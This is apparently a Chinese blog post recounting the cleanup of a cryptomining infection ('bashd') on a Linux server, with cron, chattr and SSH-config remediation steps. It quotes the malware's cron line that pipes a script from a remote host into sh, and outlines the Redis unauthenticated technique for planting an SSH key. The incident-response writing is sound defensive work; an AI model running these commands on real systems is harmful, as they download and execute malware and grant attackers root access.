服務器挖礦病毒的排查過程


快下班了,同事打電話過來講服務器有問題了。幸虧沒走,要不還的跑回來一趟。趕忙打開XSHELL鏈接服務器查看情況,發現遠程根本連不上了,跑到機房服務器本地輸入帳號密碼,個人天呀,輸入帳號密碼都沒反應啦 ,請示領導後,果斷重啓服務器。重啓後從新輸入帳號密碼,快速登陸服務器查看狀態,發現CPU使用率居高不下。kill掉可疑後,一分鐘又自動生成,在此對整個排查思路整理以下:redis

一、top 命令查看主機負載,發現CPU使用率很是高,並且有個bashd的可疑進程佔用;bash

二、pkill bashd 命令殺死可疑進程,沒有敢離開,觀察了一下,發現1分鐘後這個進程又出現了,CPU使用率再次飆高,更加肯定這個進程的問題了;服務器

三、 排查定時任務,定時任務有2處能夠設置,以下:網絡

      /etc/crontab  確實有定時任務,將其刪除ssh

  crontab –l   發現有定時任務,crontab -e嘗試刪除,發現刪不掉,怪怪。。。。。。curl

 解決方法:ide

 由於crontab建立的定時任務,文件位置在/var/spool/cron/下,查看root文件的權限測試

  # lsattr -a /var/spool/cron/rooturl

  #----i----------- /var/spool/cron/rootspa

  唉,這個文件別加了i特殊屬性,因此不能修改。

  #chattr -i /var/spool/cron/root   // 將i這個權限減掉 

  # lsattr -a /var/spool/cron/root  // 再查看權限,發現沒有i了。

  #--------------- /var/spool/cron/root

  再次crontab -e 刪除任務計劃,此次能夠保存了。

四、檢查開機自啓動設置/etc/rc.loacl,果真放入了啓動任務,將其刪除。

五、 #find /-name bashd*

        /root/bashd

        /usr/sbin/bashd

查找bashd,發現有2/usr/sbin/bash 刪除後1分鐘自動生成,/root/bashd 刪除時提示命令錯誤,又想到查看其權限,

#chattr –i /root/bashd

#rm –rf /root/bashd   #修改權限後能夠刪除了

6、腳本文件是刪除了,那他是咋進來的呢?有第一次就有第二次,想到多是破解了密碼,或者採用免密登陸了,去/root/.ssh目錄,果真有可疑的文件存在bash 

七、 ssh配置文件/etc/ssh/sshd_config中也看到把authorizeKEYfile指向了這個文件bash.猜測是這樣的,經過authorized_keys免祕鑰登陸後,在這個目錄下建立了bash文件,修改了AuthorizedKeyfile的指向,root也設置了遠端登陸,太可惡了!!!


那麼他是怎麼進來authorized_keys的呢?

網絡上流傳的大可能是redis未受權登陸IP致使的,也就是公網的地址均可以不用密碼直接登陸Redis服務(Redis默認沒有設置密碼), 連上redis後,經過如下命令便可建立文件:

config set dir /root/.ssh

config set dbfilenameauthorized_keys

set key value,其中value爲生成公鑰,便可將公鑰保存在服務器,使得登陸時不須要輸入帳號與密碼。大概就是這個流程了。無論了,先把黑洞堵上纔是當務之急啊!

八、 先堵住免登陸漏洞

     1)、修改ssh 端口號

     2)、禁止root登陸

     3)、修改無密碼登錄文件的路徑

     4)、刪除.ssh 下的bashd

     5)、外網只映射8022,關閉其餘端口。

九、通過一頓折騰,總算把漏洞堵住了,病毒也刪除了,重啓後觀察半小時,服務器正常。

總結:大概是這樣的

1)把 */1* * * * curl -fsSL http://r.chanstring.com/pm.sh?0706 | sh 寫入crontab

2)建立免登陸文件/root/.ssh/bash,修改ssh配置authorized_keys指向.ssh/bash,重啓

3)curl下載/opt/KHK75NEOiq33 這個文件,並執行安裝(/opt/KHK75NEOiq33--Install),而後啓動bashd

 

殺毒過程:

     1)         top 檢查可疑進程,pkill 殺死進程,若是進程還能存在,說明必定有定時任務或守護進程(開機啓動),檢查/var/spool/cron/root /etc/crontab /etc/rc.lcoal

     2)         找到可疑程序的位置將其刪除,若是刪除不掉,查看隱藏權限。lsattr chattr  修改權限後將其刪除便可。

     3)         查看/root/.ssh/目錄下是否設置了免祕鑰登錄,並查看ssh_config配置文件是否被篡改。

     4)         在防火牆關閉沒必要要的映射端口號,重啓再測試是否還會有可疑進程存在。大體就這幾個方面的考慮。


     到此爲止,因爲時間關係就沒有放截圖上來。

相關文章
相關標籤/搜索